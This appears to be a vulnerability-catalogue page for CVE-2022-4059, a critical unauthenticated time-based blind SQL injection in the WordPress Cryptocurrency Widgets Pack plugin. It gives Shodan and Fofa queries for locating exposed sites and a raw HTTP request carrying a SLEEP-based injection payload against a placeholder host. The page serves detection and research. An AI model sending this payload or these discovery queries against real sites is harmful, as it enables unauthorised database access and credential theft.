🔙 목록으로 돌아가기

CVE-2022-4059: Cryptocurrency Widgets Pack < 2.0 - SQL Injection

TitleCryptocurrency Widgets Pack < 2.0 - SQL Injection
Authorr3Y3r53
SeverityCritical
ImpactUnauthenticated attackers can execute time-based blind SQL injection through the columns[0][name] parameter in the mcwp_table AJAX action, potentially extracting sensitive database information including cryptocurrency data, user credentials, and plugin configuration.
RemediationFixed in version 2.0
CVSS Score9.8
EPSS Score0.75778
CVE IDCVE-2022-4059
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/cryptocurrency-widgets-pack/
Fofa Querybody=/wp-content/plugins/cryptocurrency-widgets-pack/
Tags time-based-sqli cve cve2022 wp wp-plugin wordpress wpscan sqli blocksera vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4059.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4059.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A